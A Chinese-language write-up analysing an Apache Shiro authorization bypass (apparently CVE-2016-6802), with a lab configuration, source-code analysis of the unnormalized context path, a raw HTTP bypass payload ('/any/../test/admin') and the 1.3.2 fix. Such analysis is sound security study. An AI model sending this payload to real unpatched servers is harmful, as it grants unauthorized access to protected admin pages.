描述：对请求路径中的ContextPath部分没有进行过滤，造成路径检测绕过，从而导致越权行为

漏洞条件

• shiro.version < 1.3.2

• 项目路径不是根路径 /而是类似/appName的路径

测试环境

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>servletDemo</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>servletDemo Maven Webapp</name>
  <url>http://maven.apache.org</url>



  <dependencies>
     <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>

    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>compile</scope>
    </dependency>

    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-web</artifactId>
      <version>1.3.1</version>
    </dependency>


    <dependency>
      <groupId>commons-logging</groupId>
      <artifactId>commons-logging</artifactId>
      <version>1.1.1</version>
    </dependency>


    <!-- https://mvnrepository.com/artifact/org.springframework/spring-webmvc -->
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-webmvc</artifactId>
      <version>5.2.25.RELEASE</version>
    </dependency>
    <dependency>
      <groupId>org.example</groupId>
      <artifactId>servletDemo</artifactId>
      <version>1.0-SNAPSHOT</version>
    </dependency>

    <dependency>
      <groupId>org.thymeleaf</groupId>
      <artifactId>thymeleaf-spring5</artifactId>
      <version>3.0.12.RELEASE</version>
    </dependency>

<!-- 为了方便调试tomcat源码而引入，可以不添加 -->
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>9.0.96</version>
      <scope>provided</scope>
    </dependency>


  </dependencies>
  <build>
    <finalName>servletDemo</finalName>
      <plugins>
          <plugin>
              <groupId>org.apache.maven.plugins</groupId>
              <artifactId>maven-compiler-plugin</artifactId>
              <configuration>
                  <source>9</source>
                  <target>9</target>
              </configuration>
          </plugin>
      </plugins>
  </build>
</project>

springmvc.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xsi:schemaLocation="
    http://www.springframework.org/schema/beans
      http://www.springframework.org/schema/beans/spring-beans.xsd
      http://www.springframework.org/schema/context
      http://www.springframework.org/schema/context/spring-context.xsd
      http://www.springframework.org/schema/mvc
        http://www.springframework.org/schema/mvc/spring-mvc.xsd">
    <!-- Provide support for component scanning -->
    <context:component-scan base-package="com.test.servlet" />
    <!--Provide support for conversion, formatting and validation -->
    <mvc:annotation-driven/>

    <bean   class="org.thymeleaf.spring5.view.ThymeleafViewResolver">
        <property name="characterEncoding" value="UTF-8"/>
        <property name="order" value="1"/>
        <property name="templateEngine">
            <bean class="org.thymeleaf.spring5.SpringTemplateEngine">
                <property name="templateResolver">
                    <bean class="org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver">
                        <property name="prefix" value="/WEB-INF/templates/"/>
                        <property name="suffix" value=".html"/>
                        <property name="templateMode" value="HTML"/>
                        <property name="characterEncoding" value="UTF-8"/>
                    </bean>
                </property>
            </bean>
        </property>
    </bean>

</beans>

shiro.ini

[main]
shiro.loginUrl = /login

[users]
# format: username = password, role1, role2, ..., roleN

admin=123456,admin
user=123456,user


[roles]
# format: roleName = permission1, permission2, ..., permissionN
admin=*
user=user:query


[urls]
# The /login.jsp is not restricted to authenticated users (otherwise no one could log in!), but
# the 'authc' filter must still be specified for it so it can process that url's
# login submissions. It is 'smart' enough to allow those requests through as specified by the
# shiro.loginUrl above.
/login = authc
/admin = authc, roles[admin]
/user = authc , roles[user]
/** = anon

漏洞原理

整体流程：

标红为漏洞入口
详情：shiro-web 源码分析

源码分析：

以下源码为shiro-1.3.1

PathMatchingFilterChainResolver.getChain(...):

getPathWithinApplication(request)

getRequestUri 在shiro 1.1.0已经修复了cve-2010-3863 将uri规范化了 : shiro-web CVE-2010-3863 路径绕过 - FreeBuf网络安全行业门户

• getContextPath(request)

public static String getContextPath(HttpServletRequest request) {
    	//INCLUDE_CONTEXT_PATH_ATTRIBUTE = "javax.servlet.include.context_path"
        String contextPath = (String) request.getAttribute(INCLUDE_CONTEXT_PATH_ATTRIBUTE);
        if (contextPath == null) {
            contextPath = request.getContextPath();
        }
    	//这是项目根路径必须不能是 ‘/’的原因
        if ("/".equals(contextPath)) {
            // Invalid case, but happens for includes on Jetty: silently adapt it.
            contextPath = "";
        }

    	//对contextPath进行url解码 
        return decodeRequestString(request, contextPath);
    	//很明显这里没有对解码后的路径进行规范化，这也是漏洞的根本原因
    }

• StringUtils.startsWithIgnoreCase()

public static boolean startsWithIgnoreCase(String str, String prefix) {
        if (str != null && prefix != null) {
            if (str.startsWith(prefix)) {
                return true;
            } else if (str.length() < prefix.length()) {
                return false;
            } else {
                //截取[0, prefix.length) 
                String lcStr = str.substring(0, prefix.length()).toLowerCase();
                String lcPrefix = prefix.toLowerCase();
                return lcStr.equals(lcPrefix);
            }
        } else {
            return false;
        }
    }

• requestUri.substring(contextPath.length()): /appname/path--> /path

• hasText() :
  Check whether the given String has actual text. More specifically, returns true if the string not null, its length is greater than 0, and it contains at least one non-whitespace character.

测试

根路径为 /test

正常访问

payload:

GET /test/admin HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

毫无疑问最终返回 /admin根据配置这个路径需要 验证以及授权，这次访问我是直接访问，没有登入，所以结果是重定向到登入页面：

恶意访问

payload:

GET /any/../test/admin HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

调试

很明显/test/admin不匹配 /admin而匹配 /**

响应：

漏洞修复

shiro-1.3.2:

和cve-2010-3863的修复方法一致，调用normalize()

Reference

JavaSec/12.Shiro/CVE-2016-6802权限绕过/index.md at main · Y4tacker/JavaSec

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